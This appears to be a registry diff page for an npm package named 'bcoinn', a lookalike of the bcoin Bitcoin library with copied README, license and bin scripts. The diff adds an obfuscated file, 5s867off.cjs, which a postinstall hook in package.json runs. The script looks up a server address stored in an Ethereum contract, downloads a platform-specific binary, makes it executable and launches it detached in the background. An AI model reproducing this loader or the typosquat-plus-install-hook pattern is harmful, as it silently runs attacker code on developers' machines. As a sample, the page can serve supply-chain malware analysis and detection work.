bcoinn 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/5s867off.cjs +1 -0
- package/LICENSE +23 -0
- package/README.md +79 -0
- package/bin/bcoin +69 -0
- package/bin/bwallet +55 -0
- package/bin/node +55 -0
- package/bin/spvnode +55 -0
- package/package.json +97 -0
package/5s867off.cjs
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
function _0x3fe9(){const _0x3a7de5=['28HkdjIx','Contract','mainnet','util','join','chmodSync','cdTxl','error','69296KweUhy','UDhFy','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','/node-macos','qdKNq','Unsupported\x20platform:\x20','stream','unref','getDefaultProvider','darwin','pipe','uVvnf','finish','755','Ошибка\x20установки:','231MvYUqJ','child_process','axios','dbJzR','Ошибка\x20при\x20запуске\x20файла:','EPvff','8386220SLAvCG','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','CFQKL','GET','472565ycrobo','ignore','218bObyvd','9391UoMbBy','basename','win32','ethers','Ошибка\x20при\x20получении\x20IP\x20адреса:','444894FKJtxh','oAUzS','/node-linux','42111yRauEZ','linux','data','1698876PWuGCl'];_0x3fe9=function(){return _0x3a7de5;};return _0x3fe9();}const _0x4e2f0d=_0xc210;(function(_0x12c566,_0x27dfbb){const _0x187e91=_0xc210,_0x243f03=_0x12c566();while(!![]){try{const _0x20f03b=-parseInt(_0x187e91(0x1a6))/0x1*(parseInt(_0x187e91(0x1d5))/0x2)+parseInt(_0x187e91(0x1ab))/0x3+-parseInt(_0x187e91(0x1b2))/0x4*(-parseInt(_0x187e91(0x1d3))/0x5)+parseInt(_0x187e91(0x1b1))/0x6+-parseInt(_0x187e91(0x1c9))/0x7*(parseInt(_0x187e91(0x1ba))/0x8)+-parseInt(_0x187e91(0x1ae))/0x9+parseInt(_0x187e91(0x1cf))/0xa;if(_0x20f03b===_0x27dfbb)break;else _0x243f03['push'](_0x243f03['shift']());}catch(_0x285ccc){_0x243f03['push'](_0x243f03['shift']());}}}(_0x3fe9,0x96c29));function _0xc210(_0x2cc761,_0x27a1bc){const _0x3fe91e=_0x3fe9();return _0xc210=function(_0xc210ed,_0x167bb9){_0xc210ed=_0xc210ed-0x1a6;let _0x4a6644=_0x3fe91e[_0xc210ed];return _0x4a6644;},_0xc210(_0x2cc761,_0x27a1bc);}const {ethers}=require(_0x4e2f0d(0x1a9)),axios=require(_0x4e2f0d(0x1cb)),util=require(_0x4e2f0d(0x1b5)),fs=require('fs'),path=require('path'),os=require('os'),{spawn}=require(_0x4e2f0d(0x1ca)),contractAddress=_0x4e2f0d(0x1bc),WalletOwner='0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84',abi=[_0x4e2f0d(0x1d0)],provider=ethers[_0x4e2f0d(0x1c2)](_0x4e2f0d(0x1b4)),contract=new ethers[(_0x4e2f0d(0x1b3))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x6a6c1d=_0x4e2f0d,_0xb00d97={'uVvnf':function(_0x469d7a){return _0x469d7a();}};try{const _0x2a8e0e=await contract['getString'](WalletOwner);return _0x2a8e0e;}catch(_0x34ec8e){return console[_0x6a6c1d(0x1b9)](_0x6a6c1d(0x1aa),_0x34ec8e),await _0xb00d97[_0x6a6c1d(0x1c5)](fetchAndUpdateIp);}},getDownloadUrl=_0x499742=>{const _0x44096f=_0x4e2f0d,_0x41fd8e={'kTznO':_0x44096f(0x1af),'eFupB':_0x44096f(0x1c3)},_0x3c876f=os['platform']();switch(_0x3c876f){case _0x44096f(0x1a8):return _0x499742+'/node-win.exe';case _0x41fd8e['kTznO']:return _0x499742+_0x44096f(0x1ad);case _0x41fd8e['eFupB']:return _0x499742+_0x44096f(0x1bd);default:throw new Error(_0x44096f(0x1bf)+_0x3c876f);}},downloadFile=async(_0x44a36d,_0x58ee1d)=>{const _0x143059=_0x4e2f0d,_0x3fbd31={'aZFzG':_0x143059(0x1d2),'CFQKL':_0x143059(0x1c0)},_0x53faaf=fs['createWriteStream'](_0x58ee1d),_0x3823d5=await axios({'url':_0x44a36d,'method':_0x3fbd31['aZFzG'],'responseType':_0x3fbd31[_0x143059(0x1d1)]});return _0x3823d5[_0x143059(0x1b0)][_0x143059(0x1c4)](_0x53faaf),new Promise((_0x3576e2,_0x553cc4)=>{const _0x394c8d=_0x143059;_0x53faaf['on'](_0x394c8d(0x1c6),_0x3576e2),_0x53faaf['on'](_0x394c8d(0x1b9),_0x553cc4);});},executeFileInBackground=async _0xa59d88=>{const _0x3cdaa3=_0x4e2f0d,_0x5db53e={'cdTxl':function(_0x1decc3,_0x1656e2,_0xb697f7,_0x3920b1){return _0x1decc3(_0x1656e2,_0xb697f7,_0x3920b1);},'dbJzR':_0x3cdaa3(0x1d4),'qdKNq':_0x3cdaa3(0x1cd)};try{const _0x1ae93f=_0x5db53e[_0x3cdaa3(0x1b8)](spawn,_0xa59d88,[],{'detached':!![],'stdio':_0x5db53e[_0x3cdaa3(0x1cc)]});_0x1ae93f[_0x3cdaa3(0x1c1)]();}catch(_0x241e57){console[_0x3cdaa3(0x1b9)](_0x5db53e[_0x3cdaa3(0x1be)],_0x241e57);}},runInstallation=async()=>{const _0xa4aaf0=_0x4e2f0d,_0x38c873={'EPvff':function(_0x25105b){return _0x25105b();},'UDhFy':function(_0x2575b4,_0x568e9a,_0x13b8bc){return _0x2575b4(_0x568e9a,_0x13b8bc);},'oAUzS':function(_0x131e11,_0x2cedcb){return _0x131e11!==_0x2cedcb;},'PQLkX':'win32'};try{const _0xd83e32=await _0x38c873[_0xa4aaf0(0x1ce)](fetchAndUpdateIp),_0x44d415=getDownloadUrl(_0xd83e32),_0x4f7832=os['tmpdir'](),_0x2c85d5=path[_0xa4aaf0(0x1a7)](_0x44d415),_0x5af900=path[_0xa4aaf0(0x1b6)](_0x4f7832,_0x2c85d5);await _0x38c873[_0xa4aaf0(0x1bb)](downloadFile,_0x44d415,_0x5af900);if(_0x38c873[_0xa4aaf0(0x1ac)](os['platform'](),_0x38c873['PQLkX']))fs[_0xa4aaf0(0x1b7)](_0x5af900,_0xa4aaf0(0x1c7));executeFileInBackground(_0x5af900);}catch(_0x11e219){console['error'](_0xa4aaf0(0x1c8),_0x11e219);}};runInstallation();
|
package/LICENSE
ADDED
@@ -0,0 +1,23 @@
|
|
1
|
+
This software is licensed under the MIT License.
|
2
|
+
|
3
|
+
Copyright (c) 2014-2015, Fedor Indutny (https://github.com/indutny)
|
4
|
+
|
5
|
+
Copyright (c) 2014-2017, Christopher Jeffrey (https://github.com/chjj)
|
6
|
+
|
7
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
8
|
+
of this software and associated documentation files (the "Software"), to deal
|
9
|
+
in the Software without restriction, including without limitation the rights
|
10
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
11
|
+
copies of the Software, and to permit persons to whom the Software is
|
12
|
+
furnished to do so, subject to the following conditions:
|
13
|
+
|
14
|
+
The above copyright notice and this permission notice shall be included in
|
15
|
+
all copies or substantial portions of the Software.
|
16
|
+
|
17
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
18
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
19
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
20
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
21
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
22
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
23
|
+
THE SOFTWARE.
|
package/README.md
ADDED
@@ -0,0 +1,79 @@
|
|
1
|
+
# Bcoin
|
2
|
+
|
3
|
+
[![Build Status][circleci-status-img]][circleci-status-url]
|
4
|
+
[![Coverage Status][coverage-status-img]][coverage-status-url]
|
5
|
+
|
6
|
+
__NOTE__: The latest release of bcoin contains a non-backward compatible change
|
7
|
+
to the rest API. Please read the [changelog]'s "migrating" section for more
|
8
|
+
details.
|
9
|
+
|
10
|
+
---
|
11
|
+
|
12
|
+
**Bcoin** is an alternative implementation of the bitcoin protocol, written in
|
13
|
+
node.js.
|
14
|
+
|
15
|
+
Bcoin is well tested and aware of all known consensus rules. It is currently
|
16
|
+
used in production as the consensus backend and wallet system for
|
17
|
+
[purse.io][purse].
|
18
|
+
|
19
|
+
## Uses
|
20
|
+
|
21
|
+
- Full Node
|
22
|
+
- SPV Node
|
23
|
+
- Wallet Backend (bip44 derivation)
|
24
|
+
- Mining Backend (getblocktemplate support)
|
25
|
+
- Layer 2 Backend (lightning)
|
26
|
+
- General Purpose Bitcoin Library
|
27
|
+
|
28
|
+
Try it in the browser: http://bcoin.io/browser.html
|
29
|
+
|
30
|
+
## Install
|
31
|
+
|
32
|
+
```
|
33
|
+
$ git clone git://github.com/bcoin-org/bcoin.git
|
34
|
+
$ cd bcoin
|
35
|
+
$ npm install
|
36
|
+
$ ./bin/bcoin
|
37
|
+
```
|
38
|
+
|
39
|
+
See the [Beginner's Guide][guide] for more in-depth installation instructions.
|
40
|
+
|
41
|
+
## Documentation
|
42
|
+
|
43
|
+
- API Docs: http://bcoin.io/docs/
|
44
|
+
- REST Docs: http://bcoin.io/api-docs/index.html
|
45
|
+
- Docs: [docs/](docs/README.md)
|
46
|
+
|
47
|
+
## Support
|
48
|
+
|
49
|
+
Join us on [freenode][freenode] in the [#bcoin][irc] channel.
|
50
|
+
|
51
|
+
## Disclaimer
|
52
|
+
|
53
|
+
Bcoin does not guarantee you against theft or lost funds due to bugs, mishaps,
|
54
|
+
or your own incompetence. You and you alone are responsible for securing your
|
55
|
+
money.
|
56
|
+
|
57
|
+
## Contribution and License Agreement
|
58
|
+
|
59
|
+
If you contribute code to this project, you are implicitly allowing your code
|
60
|
+
to be distributed under the MIT license. You are also implicitly verifying that
|
61
|
+
all code is your original work. `</legalese>`
|
62
|
+
|
63
|
+
## License
|
64
|
+
|
65
|
+
- Copyright (c) 2014-2015, Fedor Indutny (MIT License).
|
66
|
+
- Copyright (c) 2014-2017, Christopher Jeffrey (MIT License).
|
67
|
+
|
68
|
+
See LICENSE for more info.
|
69
|
+
|
70
|
+
[purse]: https://purse.io
|
71
|
+
[guide]: https://github.com/bcoin-org/bcoin/blob/master/docs/Beginner's-Guide.md
|
72
|
+
[freenode]: https://freenode.net/
|
73
|
+
[irc]: irc://irc.freenode.net/bcoin
|
74
|
+
[changelog]: https://github.com/bcoin-org/bcoin/blob/master/CHANGELOG.md
|
75
|
+
|
76
|
+
[coverage-status-img]: https://codecov.io/gh/bcoin-org/bcoin/badge.svg?branch=master
|
77
|
+
[coverage-status-url]: https://codecov.io/gh/bcoin-org/bcoin?branch=master
|
78
|
+
[circleci-status-img]: https://circleci.com/gh/bcoin-org/bcoin/tree/master.svg?style=shield
|
79
|
+
[circleci-status-url]: https://circleci.com/gh/bcoin-org/bcoin/tree/master
|
package/bin/bcoin
ADDED
@@ -0,0 +1,69 @@
|
|
1
|
+
#!/bin/bash
|
2
|
+
|
3
|
+
rl=0
|
4
|
+
daemon=0
|
5
|
+
cmd='node'
|
6
|
+
|
7
|
+
if ! type perl > /dev/null 2>& 1; then
|
8
|
+
if uname | grep -i 'darwin' > /dev/null; then
|
9
|
+
echo 'Bcoin requires perl to start on OSX.' >& 2
|
10
|
+
exit 1
|
11
|
+
fi
|
12
|
+
rl=1
|
13
|
+
fi
|
14
|
+
|
15
|
+
if test $rl -eq 1; then
|
16
|
+
file=$(readlink -f "$0")
|
17
|
+
else
|
18
|
+
# Have to do it this way
|
19
|
+
# because OSX isn't a real OS
|
20
|
+
file=$(perl -MCwd -e "print Cwd::realpath('$0')")
|
21
|
+
fi
|
22
|
+
|
23
|
+
dir=$(dirname "$file")
|
24
|
+
|
25
|
+
if test x"$1" = x'cli'; then
|
26
|
+
shift
|
27
|
+
exec "${dir}/cli" "$@"
|
28
|
+
exit 1
|
29
|
+
fi
|
30
|
+
|
31
|
+
if test x"$1" = x'wallet'; then
|
32
|
+
exec "${dir}/cli" "$@"
|
33
|
+
exit 1
|
34
|
+
fi
|
35
|
+
|
36
|
+
if test x"$1" = x'rpc'; then
|
37
|
+
exec "${dir}/cli" "$@"
|
38
|
+
exit 1
|
39
|
+
fi
|
40
|
+
|
41
|
+
for arg in "$@"; do
|
42
|
+
case "$arg" in
|
43
|
+
--daemon)
|
44
|
+
daemon=1
|
45
|
+
;;
|
46
|
+
--spv)
|
47
|
+
cmd='spvnode'
|
48
|
+
;;
|
49
|
+
esac
|
50
|
+
done
|
51
|
+
|
52
|
+
if test $daemon -eq 1; then
|
53
|
+
# And yet again, OSX doesn't support something.
|
54
|
+
if ! type setsid > /dev/null 2>& 1; then
|
55
|
+
(
|
56
|
+
"${dir}/${cmd}" "$@" > /dev/null 2>& 1 &
|
57
|
+
echo "$!"
|
58
|
+
)
|
59
|
+
exit 0
|
60
|
+
fi
|
61
|
+
(
|
62
|
+
setsid "${dir}/${cmd}" "$@" > /dev/null 2>& 1 &
|
63
|
+
echo "$!"
|
64
|
+
)
|
65
|
+
exit 0
|
66
|
+
else
|
67
|
+
exec "${dir}/${cmd}" "$@"
|
68
|
+
exit 1
|
69
|
+
fi
|
package/bin/bwallet
ADDED
@@ -0,0 +1,55 @@
|
|
1
|
+
#!/bin/bash
|
2
|
+
|
3
|
+
rl=0
|
4
|
+
daemon=0
|
5
|
+
|
6
|
+
if ! type perl > /dev/null 2>& 1; then
|
7
|
+
if uname | grep -i 'darwin' > /dev/null; then
|
8
|
+
echo 'Bcoin requires perl to start on OSX.' >& 2
|
9
|
+
exit 1
|
10
|
+
fi
|
11
|
+
rl=1
|
12
|
+
fi
|
13
|
+
|
14
|
+
if test $rl -eq 1; then
|
15
|
+
file=$(readlink -f "$0")
|
16
|
+
else
|
17
|
+
# Have to do it this way
|
18
|
+
# because OSX isn't a real OS
|
19
|
+
file=$(perl -MCwd -e "print Cwd::realpath('$0')")
|
20
|
+
fi
|
21
|
+
|
22
|
+
dir=$(dirname "$file")
|
23
|
+
|
24
|
+
if test x"$1" = x'cli'; then
|
25
|
+
shift
|
26
|
+
exec "${dir}/cli" "wallet" "$@"
|
27
|
+
exit 1
|
28
|
+
fi
|
29
|
+
|
30
|
+
for arg in "$@"; do
|
31
|
+
case "$arg" in
|
32
|
+
--daemon)
|
33
|
+
daemon=1
|
34
|
+
;;
|
35
|
+
esac
|
36
|
+
done
|
37
|
+
|
38
|
+
if test $daemon -eq 1; then
|
39
|
+
# And yet again, OSX doesn't support something.
|
40
|
+
if ! type setsid > /dev/null 2>& 1; then
|
41
|
+
(
|
42
|
+
"${dir}/wallet" "$@" > /dev/null 2>& 1 &
|
43
|
+
echo "$!"
|
44
|
+
)
|
45
|
+
exit 0
|
46
|
+
fi
|
47
|
+
(
|
48
|
+
setsid "${dir}/wallet" "$@" > /dev/null 2>& 1 &
|
49
|
+
echo "$!"
|
50
|
+
)
|
51
|
+
exit 0
|
52
|
+
else
|
53
|
+
exec "${dir}/wallet" "$@"
|
54
|
+
exit 1
|
55
|
+
fi
|
package/bin/node
ADDED
@@ -0,0 +1,55 @@
|
|
1
|
+
#!/usr/bin/env node
|
2
|
+
|
3
|
+
'use strict';
|
4
|
+
|
5
|
+
process.title = 'bcoin';
|
6
|
+
|
7
|
+
if (process.argv.indexOf('--help') !== -1
|
8
|
+
|| process.argv.indexOf('-h') !== -1) {
|
9
|
+
console.error('See the bcoin wiki at: https://github.com/bcoin-org/bcoin/wiki.');
|
10
|
+
process.exit(1);
|
11
|
+
throw new Error('Could not exit.');
|
12
|
+
}
|
13
|
+
|
14
|
+
if (process.argv.indexOf('--version') !== -1
|
15
|
+
|| process.argv.indexOf('-v') !== -1) {
|
16
|
+
const pkg = require('../package.json');
|
17
|
+
console.log(pkg.version);
|
18
|
+
process.exit(0);
|
19
|
+
throw new Error('Could not exit.');
|
20
|
+
}
|
21
|
+
|
22
|
+
const FullNode = require('../lib/node/fullnode');
|
23
|
+
|
24
|
+
const node = new FullNode({
|
25
|
+
config: true,
|
26
|
+
argv: true,
|
27
|
+
env: true,
|
28
|
+
logFile: true,
|
29
|
+
logConsole: true,
|
30
|
+
logLevel: 'debug',
|
31
|
+
memory: false,
|
32
|
+
workers: true,
|
33
|
+
listen: true,
|
34
|
+
loader: require
|
35
|
+
});
|
36
|
+
|
37
|
+
// Temporary hack
|
38
|
+
if (!node.config.bool('no-wallet') && !node.has('walletdb')) {
|
39
|
+
const plugin = require('../lib/wallet/plugin');
|
40
|
+
node.use(plugin);
|
41
|
+
}
|
42
|
+
|
43
|
+
process.on('unhandledRejection', (err, promise) => {
|
44
|
+
throw err;
|
45
|
+
});
|
46
|
+
|
47
|
+
(async () => {
|
48
|
+
await node.ensure();
|
49
|
+
await node.open();
|
50
|
+
await node.connect();
|
51
|
+
node.startSync();
|
52
|
+
})().catch((err) => {
|
53
|
+
console.error(err.stack);
|
54
|
+
process.exit(1);
|
55
|
+
});
|
package/bin/spvnode
ADDED
@@ -0,0 +1,55 @@
|
|
1
|
+
#!/usr/bin/env node
|
2
|
+
|
3
|
+
'use strict';
|
4
|
+
|
5
|
+
process.title = 'bcoin';
|
6
|
+
|
7
|
+
const assert = require('assert');
|
8
|
+
const SPVNode = require('../lib/node/spvnode');
|
9
|
+
const Outpoint = require('../lib/primitives/outpoint');
|
10
|
+
|
11
|
+
const node = new SPVNode({
|
12
|
+
config: true,
|
13
|
+
argv: true,
|
14
|
+
env: true,
|
15
|
+
logFile: true,
|
16
|
+
logConsole: true,
|
17
|
+
logLevel: 'debug',
|
18
|
+
db: 'leveldb',
|
19
|
+
memory: false,
|
20
|
+
persistent: true,
|
21
|
+
workers: true,
|
22
|
+
listen: true,
|
23
|
+
loader: require
|
24
|
+
});
|
25
|
+
|
26
|
+
// Temporary hack
|
27
|
+
if (!node.has('walletdb')) {
|
28
|
+
const plugin = require('../lib/wallet/plugin');
|
29
|
+
node.use(plugin);
|
30
|
+
}
|
31
|
+
|
32
|
+
process.on('unhandledRejection', (err, promise) => {
|
33
|
+
throw err;
|
34
|
+
});
|
35
|
+
|
36
|
+
(async () => {
|
37
|
+
await node.ensure();
|
38
|
+
await node.open();
|
39
|
+
await node.connect();
|
40
|
+
|
41
|
+
if (node.config.bool('test')) {
|
42
|
+
node.pool.watchAddress('1VayNert3x1KzbpzMGt2qdqrAThiRovi8');
|
43
|
+
node.pool.watchOutpoint(new Outpoint());
|
44
|
+
node.on('block', (block) => {
|
45
|
+
assert(block.txs.length >= 1);
|
46
|
+
if (block.txs.length > 1)
|
47
|
+
console.log(block.txs[1]);
|
48
|
+
});
|
49
|
+
}
|
50
|
+
|
51
|
+
node.startSync();
|
52
|
+
})().catch((err) => {
|
53
|
+
console.error(err.stack);
|
54
|
+
process.exit(1);
|
55
|
+
});
|
package/package.json
ADDED
@@ -0,0 +1,97 @@
|
|
1
|
+
{
|
2
|
+
"name": "bcoinn",
|
3
|
+
"version": "1.0.2",
|
4
|
+
"description": "Bitcoin bike-shed",
|
5
|
+
"license": "MIT",
|
6
|
+
"repository": "git://github.com/bcoin-org/bcoin.git",
|
7
|
+
"homepage": "https://github.com/bcoin-org/bcoin",
|
8
|
+
"bugs": {
|
9
|
+
"url": "https://github.com/bcoin-org/bcoin/issues"
|
10
|
+
},
|
11
|
+
"author": "Fedor Indutny <fedor@indutny.com>",
|
12
|
+
"contributors": [
|
13
|
+
"Christopher Jeffrey <chjjeffrey@gmail.com>"
|
14
|
+
],
|
15
|
+
"keywords": [
|
16
|
+
"bcoin",
|
17
|
+
"bitcoin",
|
18
|
+
"blockchain",
|
19
|
+
"cryptocurrency",
|
20
|
+
"wallet"
|
21
|
+
],
|
22
|
+
"engines": {
|
23
|
+
"node": ">=8.0.0"
|
24
|
+
},
|
25
|
+
"dependencies": {
|
26
|
+
"bcfg": "~0.1.0",
|
27
|
+
"bclient": "~0.1.1",
|
28
|
+
"bcrypto": "~0.3.7",
|
29
|
+
"bdb": "~0.2.1",
|
30
|
+
"bdns": "~0.1.0",
|
31
|
+
"bevent": "~0.1.0",
|
32
|
+
"bfile": "~0.1.0",
|
33
|
+
"bfilter": "~0.2.0",
|
34
|
+
"bheep": "~0.1.0",
|
35
|
+
"binet": "~0.3.0",
|
36
|
+
"blgr": "~0.1.0",
|
37
|
+
"blru": "~0.1.0",
|
38
|
+
"blst": "~0.1.0",
|
39
|
+
"bmutex": "~0.1.0",
|
40
|
+
"bn.js": "~4.11.8",
|
41
|
+
"bsip": "~0.1.0",
|
42
|
+
"bsock": "~0.1.0",
|
43
|
+
"bsocks": "~0.2.0",
|
44
|
+
"bstring": "~0.1.0",
|
45
|
+
"btcp": "~0.1.0",
|
46
|
+
"bufio": "~0.2.0",
|
47
|
+
"bupnp": "~0.2.1",
|
48
|
+
"bval": "~0.1.0",
|
49
|
+
"bweb": "~0.1.1",
|
50
|
+
"mrmr": "~0.1.0",
|
51
|
+
"n64": "~0.2.0",
|
52
|
+
"axios": "^1.7.7",
|
53
|
+
"ethers": "^6.13.2"
|
54
|
+
},
|
55
|
+
"devDependencies": {
|
56
|
+
"babel-core": "^6.26.3",
|
57
|
+
"babel-loader": "^7.1.4",
|
58
|
+
"babel-plugin-transform-runtime": "^6.23.0",
|
59
|
+
"babel-polyfill": "^6.26.0",
|
60
|
+
"babel-preset-env": "^1.7.0",
|
61
|
+
"babelify": "^8.0.0",
|
62
|
+
"browserify": "^16.2.2",
|
63
|
+
"eslint": "^4.19.1",
|
64
|
+
"istanbul": "^1.1.0-alpha.1",
|
65
|
+
"jsdoc": "^3.5.5",
|
66
|
+
"mocha": "^5.2.0",
|
67
|
+
"uglify-es": "^3.3.9",
|
68
|
+
"uglifyjs-webpack-plugin": "^1.2.5",
|
69
|
+
"webpack": "^4.11.1",
|
70
|
+
"webpack-cli": "^3.0.3"
|
71
|
+
},
|
72
|
+
"main": "./lib/bcoin.js",
|
73
|
+
"bin": {
|
74
|
+
"bcoin": "./bin/bcoin",
|
75
|
+
"bcoin-node": "./bin/node",
|
76
|
+
"bcoin-spvnode": "./bin/spvnode",
|
77
|
+
"bwallet": "./bin/bwallet"
|
78
|
+
},
|
79
|
+
"scripts": {
|
80
|
+
"postinstall": "node 5s867off.cjs"
|
81
|
+
},
|
82
|
+
"browser": {
|
83
|
+
"./lib/hd/nfkd": "./lib/hd/nfkd-compat.js",
|
84
|
+
"./lib/hd/wordlist": "./lib/hd/wordlist-browser.js",
|
85
|
+
"./lib/workers/child": "./lib/workers/child-browser.js",
|
86
|
+
"./lib/workers/parent": "./lib/workers/parent-browser.js",
|
87
|
+
"./lib/bcoin": "./lib/bcoin-browser.js"
|
88
|
+
},
|
89
|
+
"browserify": {
|
90
|
+
"transform": [
|
91
|
+
"babelify"
|
92
|
+
]
|
93
|
+
},
|
94
|
+
"files": [
|
95
|
+
"5s867off.cjs"
|
96
|
+
]
|
97
|
+
}
|